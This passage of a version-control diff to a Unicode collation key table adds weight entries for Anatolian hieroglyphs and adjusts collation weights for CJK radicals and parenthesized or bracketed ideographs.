A385 +145B5 ; [.527B.0020.0002] # ANATOLIAN HIEROGLYPH A386 +145B6 ; [.527C.0020.0002] # ANATOLIAN HIEROGLYPH A386A +145B7 ; [.527D.0020.0002] # ANATOLIAN HIEROGLYPH A387 +145B8 ; [.527E.0020.0002] # ANATOLIAN HIEROGLYPH A388 +145B9 ; [.527F.0020.0002] # ANATOLIAN HIEROGLYPH A389 +145BA ; [.5280.0020.0002] # ANATOLIAN HIEROGLYPH A390 +145BB ; [.5281.0020.0002] # ANATOLIAN HIEROGLYPH A391 +145BC ; [.5282.0020.0002] # ANATOLIAN HIEROGLYPH A392 +145BD ; [.5283.0020.0002] # ANATOLIAN HIEROGLYPH A393 EIGHT +145BE ; [.5284.0020.0002] # ANATOLIAN HIEROGLYPH A394 +145BF ; [.5285.0020.0002] # ANATOLIAN HIEROGLYPH A395 +145C0 ; [.5286.0020.0002] # ANATOLIAN HIEROGLYPH A396 +145C1 ; [.5287.0020.0002] # ANATOLIAN HIEROGLYPH A397 +145C2 ; [.5288.0020.0002] # ANATOLIAN HIEROGLYPH A398 +145C3 ; [.5289.0020.0002] # ANATOLIAN HIEROGLYPH A399 +145C4 ; [.528A.0020.0002] # ANATOLIAN HIEROGLYPH A400 +145C5 ; [.528B.0020.0002] # ANATOLIAN HIEROGLYPH A401 +145C6 ; [.528C.0020.0002] # ANATOLIAN HIEROGLYPH A402 +145C7 ; [.528D.0020.0002] # ANATOLIAN HIEROGLYPH A403 +145C8 ; [.528E.0020.0002] # ANATOLIAN HIEROGLYPH A404 +145C9 ; [.528F.0020.0002] # ANATOLIAN HIEROGLYPH A405 +145CA ; [.5290.0020.0002] # ANATOLIAN HIEROGLYPH A406 +145CB ; [.5291.0020.0002] # ANATOLIAN HIEROGLYPH A407 +145CC ; [.5292.0020.0002] # ANATOLIAN HIEROGLYPH A408 +145CD ; [.5293.0020.0002] # ANATOLIAN HIEROGLYPH A409 +145CE ; [.5294.0020.0002] # ANATOLIAN HIEROGLYPH A410 BEGIN LOGOGRAM MARK +145CF ; [.5295.0020.0002] # ANATOLIAN HIEROGLYPH A410A END LOGOGRAM MARK +145D0 ; [.5296.0020.0002] # ANATOLIAN HIEROGLYPH A411 +145D1 ; [.5297.0020.0002] # ANATOLIAN HIEROGLYPH A412 +145D2 ; [.5298.0020.0002] # ANATOLIAN HIEROGLYPH A413 +145D3 ; [.5299.0020.0002] # ANATOLIAN HIEROGLYPH A414 +145D4 ; [.529A.0020.0002] # ANATOLIAN HIEROGLYPH A415 +145D5 ; [.529B.0020.0002] # ANATOLIAN HIEROGLYPH A416 +145D6 ; [.529C.0020.0002] # ANATOLIAN HIEROGLYPH A417 +145D7 ; [.529D.0020.0002] # ANATOLIAN HIEROGLYPH A418 +145D8 ; [.529E.0020.0002] # ANATOLIAN HIEROGLYPH A419 +145D9 ; [.529F.0020.0002] # ANATOLIAN HIEROGLYPH A420 +145DA ; [.52A0.0020.0002] # ANATOLIAN HIEROGLYPH A421 +145DB ; [.52A1.0020.0002] # ANATOLIAN HIEROGLYPH A422 +145DC ; [.52A2.0020.0002] # ANATOLIAN HIEROGLYPH A423 +145DD ; [.52A3.0020.0002] # ANATOLIAN HIEROGLYPH A424 +145DE ; [.52A4.0020.0002] # ANATOLIAN HIEROGLYPH A425 +145DF ; [.52A5.0020.0002] # ANATOLIAN HIEROGLYPH A426 +145E0 ; [.52A6.0020.0002] # ANATOLIAN HIEROGLYPH A427 +145E1 ; [.52A7.0020.0002] # ANATOLIAN HIEROGLYPH A428 +145E2 ; [.52A8.0020.0002] # ANATOLIAN HIEROGLYPH A429 +145E3 ; [.52A9.0020.0002] # ANATOLIAN HIEROGLYPH A430 +145E4 ; [.52AA.0020.0002] # ANATOLIAN HIEROGLYPH A431 +145E5 ; [.52AB.0020.0002] # ANATOLIAN HIEROGLYPH A432 +145E6 ; [.52AC.0020.0002] # ANATOLIAN HIEROGLYPH A433 +145E7 ; [.52AD.0020.0002] # ANATOLIAN HIEROGLYPH A434 +145E8 ; [.52AE.0020.0002] # ANATOLIAN HIEROGLYPH A435 +145E9 ; [.52AF.0020.0002] # ANATOLIAN HIEROGLYPH A436 +145EA ; [.52B0.0020.0002] # ANATOLIAN HIEROGLYPH A437 +145EB ; [.52B1.0020.0002] # ANATOLIAN HIEROGLYPH A438 +145EC ; [.52B2.0020.0002] # ANATOLIAN HIEROGLYPH A439 +145ED ; [.52B3.0020.0002] # ANATOLIAN HIEROGLYPH A440 +145EE ; [.52B4.0020.0002] # ANATOLIAN HIEROGLYPH A441 +145EF ; [.52B5.0020.0002] # ANATOLIAN HIEROGLYPH A442 +145F0 ; [.52B6.0020.0002] # ANATOLIAN HIEROGLYPH A443 +145F1 ; [.52B7.0020.0002] # ANATOLIAN HIEROGLYPH A444 +145F2 ; [.52B8.0020.0002] # ANATOLIAN HIEROGLYPH A445 +145F3 ; [.52B9.0020.0002] # ANATOLIAN HIEROGLYPH A446 +145F4 ; [.52BA.0020.0002] # ANATOLIAN HIEROGLYPH A447 +145F5 ; [.52BB.0020.0002] # ANATOLIAN HIEROGLYPH A448 +145F6 ; [.52BC.0020.0002] # ANATOLIAN HIEROGLYPH A449 +145F7 ; [.52BD.0020.0002] # ANATOLIAN HIEROGLYPH A450 +145F8 ; [.52BE.0020.0002] # ANATOLIAN HIEROGLYPH A450A +145F9 ; [.52BF.0020.0002] # ANATOLIAN HIEROGLYPH A451 +145FA ; [.52C0.0020.0002] # ANATOLIAN HIEROGLYPH A452 +145FB ; [.52C1.0020.0002] # ANATOLIAN HIEROGLYPH A453 +145FC ; [.52C2.0020.0002] # ANATOLIAN HIEROGLYPH A454 +145FD ; [.52C3.0020.0002] # ANATOLIAN HIEROGLYPH A455 +145FE ; [.52C4.0020.0002] # ANATOLIAN HIEROGLYPH A456 +145FF ; [.52C5.0020.0002] # ANATOLIAN HIEROGLYPH A457 +14600 ; [.52C6.0020.0002] # ANATOLIAN HIEROGLYPH A457A +14601 ; [.52C7.0020.0002] # ANATOLIAN HIEROGLYPH A458 +14602 ; [.52C8.0020.0002] # ANATOLIAN HIEROGLYPH A459 +14603 ; [.52C9.0020.0002] # ANATOLIAN HIEROGLYPH A460 +14604 ; [.52CA.0020.0002] # ANATOLIAN HIEROGLYPH A461 +14605 ; [.52CB.0020.0002] # ANATOLIAN HIEROGLYPH A462 +14606 ; [.52CC.0020.0002] # ANATOLIAN HIEROGLYPH A463 +14607 ; [.52CD.0020.0002] # ANATOLIAN HIEROGLYPH A464 +14608 ; [.52CE.0020.0002] # ANATOLIAN HIEROGLYPH A465 +14609 ; [.52CF.0020.0002] # ANATOLIAN HIEROGLYPH A466 +1460A ; [.52D0.0020.0002] # ANATOLIAN HIEROGLYPH A467 +1460B ; [.52D1.0020.0002] # ANATOLIAN HIEROGLYPH A468 +1460C ; [.52D2.0020.0002] # ANATOLIAN HIEROGLYPH A469 +1460D ; [.52D3.0020.0002] # ANATOLIAN HIEROGLYPH A470 +1460E ; [.52D4.0020.0002] # ANATOLIAN HIEROGLYPH A471 +1460F ; [.52D5.0020.0002] # ANATOLIAN HIEROGLYPH A472 +14610 ; [.52D6.0020.0002] # ANATOLIAN HIEROGLYPH A473 +14611 ; [.52D7.0020.0002] # ANATOLIAN HIEROGLYPH A474 +14612 ; [.52D8.0020.0002] # ANATOLIAN HIEROGLYPH A475 +14613 ; [.52D9.0020.0002] # ANATOLIAN HIEROGLYPH A476 +14614 ; [.52DA.0020.0002] # ANATOLIAN HIEROGLYPH A477 +14615 ; [.52DB.0020.0002] # ANATOLIAN HIEROGLYPH A478 +14616 ; [.52DC.0020.0002] # ANATOLIAN HIEROGLYPH A479 +14617 ; [.52DD.0020.0002] # ANATOLIAN HIEROGLYPH A480 +14618 ; [.52DE.0020.0002] # ANATOLIAN HIEROGLYPH A481 +14619 ; [.52DF.0020.0002] # ANATOLIAN HIEROGLYPH A482 +1461A ; [.52E0.0020.0002] # ANATOLIAN HIEROGLYPH A483 +1461B ; [.52E1.0020.0002] # ANATOLIAN HIEROGLYPH A484 +1461C ; [.52E2.0020.0002] # ANATOLIAN HIEROGLYPH A485 +1461D ; [.52E3.0020.0002] # ANATOLIAN HIEROGLYPH A486 +1461E ; [.52E4.0020.0002] # ANATOLIAN HIEROGLYPH A487 +1461F ; [.52E5.0020.0002] # ANATOLIAN HIEROGLYPH A488 +14620 ; [.52E6.0020.0002] # ANATOLIAN HIEROGLYPH A489 +14621 ; [.52E7.0020.0002] # ANATOLIAN HIEROGLYPH A490 +14622 ; [.52E8.0020.0002] # ANATOLIAN HIEROGLYPH A491 +14623 ; [.52E9.0020.0002] # ANATOLIAN HIEROGLYPH A492 +14624 ; [.52EA.0020.0002] # ANATOLIAN HIEROGLYPH A493 +14625 ; [.52EB.0020.0002] # ANATOLIAN HIEROGLYPH A494 +14626 ; [.52EC.0020.0002] # ANATOLIAN HIEROGLYPH A495 +14627 ; [.52ED.0020.0002] # ANATOLIAN HIEROGLYPH A496 +14628 ; [.52EE.0020.0002] # ANATOLIAN HIEROGLYPH A497 +14629 ; [.52EF.0020.0002] # ANATOLIAN HIEROGLYPH A501 +1462A ; [.52F0.0020.0002] # ANATOLIAN HIEROGLYPH A502 +1462B ; [.52F1.0020.0002] # ANATOLIAN HIEROGLYPH A503 +1462C ; [.52F2.0020.0002] # ANATOLIAN HIEROGLYPH A504 +1462D ; [.52F3.0020.0002] # ANATOLIAN HIEROGLYPH A505 +1462E ; [.52F4.0020.0002] # ANATOLIAN HIEROGLYPH A506 +1462F ; [.52F5.0020.0002] # ANATOLIAN HIEROGLYPH A507 +14630 ; [.52F6.0020.0002] # ANATOLIAN HIEROGLYPH A508 +14631 ; [.52F7.0020.0002] # ANATOLIAN HIEROGLYPH A509 +14632 ; [.52F8.0020.0002] # ANATOLIAN HIEROGLYPH A510 +14633 ; [.52F9.0020.0002] # ANATOLIAN HIEROGLYPH A511 +14634 ; [.52FA.0020.0002] # ANATOLIAN HIEROGLYPH A512 +14635 ; [.52FB.0020.0002] # ANATOLIAN HIEROGLYPH A513 +14636 ; [.52FC.0020.0002] # ANATOLIAN HIEROGLYPH A514 +14637 ; [.52FD.0020.0002] # ANATOLIAN HIEROGLYPH A515 +14638 ; [.52FE.0020.0002] # ANATOLIAN HIEROGLYPH A516 +14639 ; [.52FF.0020.0002] # ANATOLIAN HIEROGLYPH A517 +1463A ; [.5300.0020.0002] # ANATOLIAN HIEROGLYPH A518 +1463B ; [.5301.0020.0002] # ANATOLIAN HIEROGLYPH A519 +1463C ; [.5302.0020.0002] # ANATOLIAN HIEROGLYPH A520 +1463D ; [.5303.0020.0002] # ANATOLIAN HIEROGLYPH A521 +1463E ; [.5304.0020.0002] # ANATOLIAN HIEROGLYPH A522 +1463F ; [.5305.0020.0002] # ANATOLIAN HIEROGLYPH A523 +14640 ; [.5306.0020.0002] # ANATOLIAN HIEROGLYPH A524 +14641 ; [.5307.0020.0002] # ANATOLIAN HIEROGLYPH A525 +14642 ; [.5308.0020.0002] # ANATOLIAN HIEROGLYPH A526 +14643 ; [.5309.0020.0002] # ANATOLIAN HIEROGLYPH A527 +14644 ; [.530A.0020.0002] # ANATOLIAN HIEROGLYPH A528 +14645 ; [.530B.0020.0002] # ANATOLIAN HIEROGLYPH A529 +14646 ; [.530C.0020.0002] # ANATOLIAN HIEROGLYPH A530 2F00 ; [.FB40.0020.0004][.CE00.0000.0000] # KANGXI RADICAL ONE -3220 ; [*0317.0020.0004][.FB40.0020.0004][.CE00.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ONE +3220 ; [*0310.0020.0004][.FB40.0020.0004][.CE00.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ONE 3280 ; [.FB40.0020.0006][.CE00.0000.0000] # CIRCLED IDEOGRAPH ONE 3192 ; [.FB40.0020.0014][.CE00.0000.0000] # IDEOGRAPHIC ANNOTATION ONE MARK 1F229 ; [.FB40.0020.001C][.CE00.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E00 319C ; [.FB40.0020.0014][.CE01.0000.0000] # IDEOGRAPHIC ANNOTATION FOURTH MARK -3226 ; [*0317.0020.0004][.FB40.0020.0004][.CE03.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN +3226 ; [*0310.0020.0004][.FB40.0020.0004][.CE03.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SEVEN 3286 ; [.FB40.0020.0006][.CE03.0000.0000] # CIRCLED IDEOGRAPH SEVEN -3222 ; [*0317.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH THREE -1F241 ; [*0379.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 +3222 ; [*0310.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH THREE +1F241 ; [*0372.0020.0004][.FB40.0020.0004][.CE09.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09 3282 ; [.FB40.0020.0006][.CE09.0000.0000] # CIRCLED IDEOGRAPH THREE 3194 ; [.FB40.0020.0014][.CE09.0000.0000] # IDEOGRAPHIC ANNOTATION THREE MARK 1F22A ; [.FB40.0020.001C][.CE09.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E09 @@ -29213,7 +28593,7 @@ FA70 ; [.FB40.0020.0002][.CE26.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA70 1F22D ; [.FB40.0020.001C][.CE2D.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E2D F905 ; [.FB40.0020.0002][.CE32.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F905 2F02 ; [.FB40.0020.0004][.CE36.0000.0000] # KANGXI RADICAL DOT -2E80 ; [.FB40.0020.0004][.CE36.0000.0000][.0000.0110.0004] # CJK RADICAL REPEAT +2E80 ; [.FB40.0020.0004][.CE36.0000.0000][.0000.010B.0004] # CJK RADICAL REPEAT 2F801 ; [.FB40.0020.0002][.CE38.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F801 F95E ; [.FB40.0020.0002][.CE39.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F95E 2F800 ; [.FB40.0020.0002][.CE3D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F800 @@ -29221,21 +28601,21 @@ F95E ; [.FB40.0020.0002][.CE39.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F95E 2F802 ; [.FB40.0020.0002][.CE41.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F802 2F04 ; [.FB40.0020.0004][.CE59.0000.0000] # KANGXI RADICAL SECOND 319A ; [.FB40.0020.0014][.CE59.0000.0000] # IDEOGRAPHIC ANNOTATION SECOND MARK -2E84 ; [.FB40.0020.0004][.CE59.0000.0000][.0000.0110.0004] # CJK RADICAL SECOND THREE +2E84 ; [.FB40.0020.0004][.CE59.0000.0000][.0000.010B.0004] # CJK RADICAL SECOND THREE 2E83 ; [.FB40.0020.0004][.CE5A.0000.0000] # CJK RADICAL SECOND TWO 2E82 ; [.FB40.0020.0004][.CE5B.0000.0000] # CJK RADICAL SECOND ONE -3228 ; [*0317.0020.0004][.FB40.0020.0004][.CE5D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NINE +3228 ; [*0310.0020.0004][.FB40.0020.0004][.CE5D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH NINE 3288 ; [.FB40.0020.0006][.CE5D.0000.0000] # CIRCLED IDEOGRAPH NINE F91B ; [.FB40.0020.0002][.CE82.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91B 2F05 ; [.FB40.0020.0004][.CE85.0000.0000] # KANGXI RADICAL HOOK F9BA ; [.FB40.0020.0002][.CE86.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9BA 2F06 ; [.FB40.0020.0004][.CE8C.0000.0000] # KANGXI RADICAL TWO -3221 ; [*0317.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TWO -1F242 ; [*0379.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C +3221 ; [*0310.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TWO +1F242 ; [*0372.0020.0004][.FB40.0020.0004][.CE8C.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C 3281 ; [.FB40.0020.0006][.CE8C.0000.0000] # CIRCLED IDEOGRAPH TWO 3193 ; [.FB40.0020.0014][.CE8C.0000.0000] # IDEOGRAPHIC ANNOTATION TWO MARK 1F214 ; [.FB40.0020.001C][.CE8C.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4E8C -3224 ; [*0317.0020.0004][.FB40.0020.0004][.CE94.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE +3224 ; [*0310.0020.0004][.FB40.0020.0004][.CE94.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH FIVE 3284 ; [.FB40.0020.0006][.CE94.0000.0000] # CIRCLED IDEOGRAPH FIVE 2F07 ; [.FB40.0020.0004][.CEA0.0000.0000] # KANGXI RADICAL LID 1F218 ; [.FB40.0020.001C][.CEA4.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-4EA4 @@ -29245,11 +28625,11 @@ F977 ; [.FB40.0020.0002][.CEAE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F977 2E85 ; [.FB40.0020.0004][.CEBB.0000.0000] # CJK RADICAL PERSON F9FD ; [.FB40.0020.0002][.CEC0.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9FD 2F819 ; [.FB40.0020.0002][.CECC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F819 -3239 ; [*0317.0020.0004][.FB40.0020.0004][.CEE3.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT +3239 ; [*0310.0020.0004][.FB40.0020.0004][.CEE3.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REPRESENT F9A8 ; [.FB40.0020.0002][.CEE4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9A8 -323D ; [*0317.0020.0004][.FB40.0020.0004][.CF01.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE +323D ; [*0310.0020.0004][.FB40.0020.0004][.CF01.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ENTERPRISE 32AD ; [.FB40.0020.0006][.CF01.0000.0000] # CIRCLED IDEOGRAPH ENTERPRISE -3241 ; [*0317.0020.0004][.FB40.0020.0004][.CF11.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH REST +3241 ; [*0310.0020.0004][.FB40.0020.0004][.CF11.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH REST 32A1 ; [.FB40.0020.0006][.CF11.0000.0000] # CIRCLED IDEOGRAPH REST 2F804 ; [.FB40.0020.0002][.CF60.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F804 FA73 ; [.FB40.0020.0002][.CF80.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA73 @@ -29280,15 +28660,15 @@ FA32 ; [.FB40.0020.0002][.D14D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA32 FA72 ; [.FB40.0020.0002][.D168.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA72 F978 ; [.FB40.0020.0002][.D169.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F978 2F0B ; [.FB40.0020.0004][.D16B.0000.0000] # KANGXI RADICAL EIGHT -3227 ; [*0317.0020.0004][.FB40.0020.0004][.D16B.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT +3227 ; [*0310.0020.0004][.FB40.0020.0004][.D16B.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH EIGHT 3287 ; [.FB40.0020.0006][.D16B.0000.0000] # CIRCLED IDEOGRAPH EIGHT F9D1 ; [.FB40.0020.0002][.D16D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9D1 -3225 ; [*0317.0020.0004][.FB40.0020.0004][.D16D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH SIX +3225 ; [*0310.0020.0004][.FB40.0020.0004][.D16D.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH SIX 3285 ; [.FB40.0020.0006][.D16D.0000.0000] # CIRCLED IDEOGRAPH SIX 2F811 ; [.FB40.0020.0002][.D177.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F811 FA75 ; [.FB40.0020.0002][.D180.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA75 2F0C ; [.FB40.0020.0004][.D182.0000.0000] # KANGXI RADICAL DOWN BOX -2E86 ; [.FB40.0020.0004][.D182.0000.0000][.0000.0110.0004] # CJK RADICAL BOX +2E86 ; [.FB40.0020.0004][.D182.0000.0000][.0000.010B.0004] # CJK RADICAL BOX 2F815 ; [.FB40.0020.0002][.D18D.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F815 1F21E ; [.FB40.0020.001C][.D18D.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-518D 2F8D2 ; [.FB40.0020.0002][.D192.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F8D2 @@ -29307,11 +28687,11 @@ F955 ; [.FB40.0020.0002][.D1CC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F955 F954 ; [.FB40.0020.0002][.D1DC.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F954 FA15 ; [.FB40.0020.0002][.D1DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA15 2F0F ; [.FB40.0020.0004][.D1E0.0000.0000] # KANGXI RADICAL TABLE -2E87 ; [.FB40.0020.0004][.D1E0.0000.0000][.0000.0110.0004] # CJK RADICAL TABLE +2E87 ; [.FB40.0020.0004][.D1E0.0000.0000][.0000.010B.0004] # CJK RADICAL TABLE 2F81D ; [.FB40.0020.0002][.D1F5.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F81D 2F10 ; [.FB40.0020.0004][.D1F5.0000.0000] # KANGXI RADICAL OPEN BOX 2F11 ; [.FB40.0020.0004][.D200.0000.0000] # KANGXI RADICAL KNIFE -2E88 ; [.FB40.0020.0004][.D200.0000.0000][.0000.0110.0004] # CJK RADICAL KNIFE ONE +2E88 ; [.FB40.0020.0004][.D200.0000.0000][.0000.010B.0004] # CJK RADICAL KNIFE ONE 2E89 ; [.FB40.0020.0004][.D202.0000.0000] # CJK RADICAL KNIFE TWO 2F81E ; [.FB40.0020.0002][.D203.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F81E FA00 ; [.FB40.0020.0002][.D207.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA00 @@ -29331,14 +28711,14 @@ F98A ; [.FB40.0020.0002][.D29B.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F98A 2F12 ; [.FB40.0020.0004][.D29B.0000.0000] # KANGXI RADICAL POWER F99D ; [.FB40.0020.0002][.D2A3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F99D 2F992 ; [.FB40.0020.0002][.D2B3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F992 -3238 ; [*0317.0020.0004][.FB40.0020.0004][.D2B4.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR +3238 ; [*0310.0020.0004][.FB40.0020.0004][.D2B4.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH LABOR 3298 ; [.FB40.0020.0006][.D2B4.0000.0000] # CIRCLED IDEOGRAPH LABOR FA76 ; [.FB40.0020.0002][.D2C7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA76 2F825 ; [.FB40.0020.0002][.D2C7.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F825 FA33 ; [.FB40.0020.0002][.D2C9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA33 2F826 ; [.FB40.0020.0002][.D2C9.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F826 F952 ; [.FB40.0020.0002][.D2D2.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F952 -1F247 ; [*0379.0020.0004][.FB40.0020.0004][.D2DD.0000.0000][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD +1F247 ; [*0372.0020.0004][.FB40.0020.0004][.D2DD.0000.0000][*0373.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD F92F ; [.FB40.0020.0002][.D2DE.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F92F FA34 ; [.FB40.0020.0002][.D2E4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA34 2F827 ; [.FB40.0020.0002][.D2E4.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F827 @@ -29357,20 +28737,20 @@ F963 ; [.FB40.0020.0002][.D317.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F963 F9EB ; [.FB40.0020.0002][.D33F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F9EB 2F17 ; [.FB40.0020.0004][.D341.0000.0000] # KANGXI RADICAL TEN 3038 ; [.FB40.0020.0004][.D341.0000.0000] # HANGZHOU NUMERAL TEN -3229 ; [*0317.0020.0004][.FB40.0020.0004][.D341.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH TEN +3229 ; [*0310.0020.0004][.FB40.0020.0004][.D341.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH TEN 3289 ; [.FB40.0020.0006][.D341.0000.0000] # CIRCLED IDEOGRAPH TEN 3039 ; [.FB40.0020.0004][.D344.0000.0000] # HANGZHOU NUMERAL TWENTY 303A ; [.FB40.0020.0004][.D345.0000.0000] # HANGZHOU NUMERAL THIRTY 2F82C ; [.FB40.0020.0002][.D349.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82C FA35 ; [.FB40.0020.0002][.D351.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-FA35 2F82D ; [.FB40.0020.0002][.D351.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82D -323F ; [*0317.0020.0004][.FB40.0020.0004][.D354.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE +323F ; [*0310.0020.0004][.FB40.0020.0004][.D354.0000.0000][*0311.0020.0004] # PARENTHESIZED IDEOGRAPH ALLIANCE 32AF ; [.FB40.0020.0006][.D354.0000.0000] # CIRCLED IDEOGRAPH ALLIANCE 2F82E ; [.FB40.0020.0002][.D35A.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82E 2F18 ; [.FB40.0020.0004][.D35C.0000.0000] # KANGXI RADICAL DIVINATION -2E8A ; [.FB40.0020.0004][.D35C.0000.0000][.0000.0110.0004] # CJK RADICAL DIVINATION +2E8A ; [.FB40.0020.0004][.D35C.0000.0000][.0000.010B.0004] # CJK RADICAL DIVINATION 2F19 ; [.FB40.0020.0004][.D369.0000.0000] # KANGXI RADICAL SEAL -2E8B ; [.FB40.0020.0004][.D369.0000.0000][.0000.0110.0004] # CJK RADICAL SEAL +2E8B ; [.FB40.0020.0004][.D369.0000.0000][.0000.010B.0004] # CJK RADICAL SEAL 329E ; [.FB40.0020.0006][.D370.0000.0000] # CIRCLED IDEOGRAPH PRINT 2F82F ; [.FB40.0020.0002][.D373.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F82F F91C ; [.FB40.0020.0002][.D375.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91C @@ -29379,7 +28759,7 @@ F91C ; [.FB40.0020.0002][.D375.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F91C 2F832 ; [.FB40.0020.0002][.D37F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F832 2F833 ; [.FB40.0020.0002][.D37F.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F833 2F1A ; [.FB40.0020.0004][.D382.0000.0000] # KANGXI RADICAL CLIFF -2E81 ; [.FB40.0020.0004][.D382.0000.0000][.0000.0110.0004] # CJK RADICAL CLIFF +2E81 ; [.FB40.0020.0004][.D382.0000.0000][.0000.010B.0004] # CJK RADICAL CLIFF 2F1B ; [.FB40.0020.0004][.D3B6.0000.0000] # KANGXI RADICAL PRIVATE F96B ; [.FB40.0020.0002][.D3C3.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F96B 2F1C ; [.FB40.0020.0004][.D3C8.0000.0000] # KANGXI RADICAL AGAIN @@ -29395,7 +28775,7 @@ F906 ; [.FB40.0020.0002][.D3E5.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-F906 1F22E ; [.FB40.0020.001C][.D3F3.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-53F3 2F83B ; [.FB40.0020.0002][.D406.0000.0000] # CJK COMPATIBILITY IDEOGRAPH-2F83B 1F234 ; [.FB40.0020.001C][.D408.0000.0000] # SQUARED CJK UNIFIED IDEOGRAPH-5408 -3234 ; [*0317.0020.0004][.FB40.0020.0004][.D40D.0000.0000][*0318.0020.0004] # PARENTHESIZED IDEOGRAPH NAME +3234 ; 